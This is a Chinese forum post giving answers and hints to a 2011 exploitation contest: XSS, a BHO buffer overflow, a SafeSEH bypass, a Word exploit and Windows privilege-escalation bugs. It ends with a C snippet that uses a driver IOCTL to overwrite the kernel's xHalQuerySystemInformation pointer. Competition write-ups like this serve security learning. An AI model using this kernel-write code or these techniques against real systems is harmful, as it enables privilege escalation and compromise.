第5题的exploitme.doc,始终无法成功地执行shellcode,不知是出题者有意为之,还是exploit有问题,或者我的环境有问题,但word 的版本是对应的,系统也是xp sp3,此题占分最高,但最后还是放弃了
- 标 题:ExploitMe 答案
- 作 者:riusksk
- 时 间:2011-05-03 20:22:49
- 链 接:http://bbs.pediy.com/showthread.php?t=133315
第5题的exploitme.doc,始终无法成功地执行shellcode,不知是出题者有意为之,还是exploit有问题,或者我的环境有问题,但word 的版本是对应的,系统也是xp sp3,此题占分最高,但最后还是放弃了
这次比赛的题目大多来源于网上的一些利用方法,百度谷歌可以帮你解决很多问题!所以说,善于搜索资料才是一种本事!
第一题:
XSS in hidden field:http://sla.ckers.org/forum/read.php?2,17217
第二题:
http://html5sec.org/,思路来源于此,直接用<a>标签就成了
第三题:
搜索字符串看到bho0day,直接在URL中输入提示错误,再ctrl+n找到strcpy,直接定位漏洞,但有空间限制,不过足够存放shellcode了,关键是解决跳板问题,我没有写出exploit,后面也没有回头再分析了,坐等各位牛人发码。或许heap spary是最佳选择,在做此题还想用此方法,结果在写exploit 时,却一直想着找跳板,把神奇的heap spary给忘了,一根筋挂了
第四题:
过safeseh的方法参见之前hackme挑战赛上watercloud给出的方法:http://bbs.pediy.com/showthread.php?t=121314&page=6
第五题:
给的样本始终无法触发shellcode,问了好几位朋友,只有一人成功触发了,看来这样本也不够稳定啊,无法触发shellcode,就很难通过静态分析来回答那些问题了,果断放弃……若能触发,可先直接百度下该漏洞的msf模板了解漏洞原理:http://http://packetstormsecurity.or...nts_bof.rb.txt,再OD定位shellcode,应该就很好搞定了。
第六题:
模仿瑞星本地提权漏洞:http://www.exploit-db.com/exploits/11281/
论坛上的轩辕小聪大牛也有在论坛上分析过:http://bbs.pediy.com/showthread.php?t=106184
第七题:
模仿 EVEREST (kerneld.sys)漏洞:http://www.ntinternals.org/ntiadv0803/ntiadv0803.html,其中最后一问,就写内核基址那问,由于MmMapIoSpace的作用,需要将虚拟地址转换为物理地址以作为输入来利用漏洞,可自己实现地址转换功能,看雪上是有人分析过,参见这里《逆向MmGetPhysicalAddress并正向》:http://bbs.pediy.com/showthread.php?t=125037,不过通过windbg查看我系统上的相关数据结构,发现跟这文章中的内容不一样,上面的代码我也没编译通过。自己也没有实现代码,或者简单点,你可以直接关闭CPU的分页机制,把物理地址直接当线性地址来利用,这只是个思路,坐等各位大牛报料。
欢迎各位大牛继续跟帖拍砖!!!
// 向地址0x0处写入数据0x00000000, ULONG InternalBuffer = 0; SystemBuffer[0] = sizeof(ULONG); SystemBuffer[2] = 0; SystemBuffer[3] = (ULONG)&InternalBuffer; for(i=0; i<PAGE_SIZE; i++) { SystemBuffer[1] = i; NtStatus = NtDeviceIoControlFile( DeviceHandle, NULL, NULL, NULL, &IoStatusBlock, IOCTL_CODE, SystemBuffer, 16, SystemBuffer, 16); if(NtStatus) { printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n", NtStatus); return NtStatus; } if(InternalBuffer == 0x00000000) break; } // 利用漏洞将0x0处的4字节数据(0x00000000)写入xHalQuerySystemInformation函数地址 SystemBuffer[0] = sizeof(ULONG); SystemBuffer[1] = i; SystemBuffer[2] = 0; SystemBuffer[3] = (ULONG)xHalQuerySystemInformation; NtStatus = NtDeviceIoControlFile( DeviceHandle, // FileHandle NULL, // Event NULL, // ApcRoutine NULL, // ApcContext &IoStatusBlock, // IoStatusBlock IOCTL_CODE, // IoControlCode SystemBuffer, // InputBuffer 16, // InputBufferLength SystemBuffer, // OutputBuffer 16); // OutBufferLength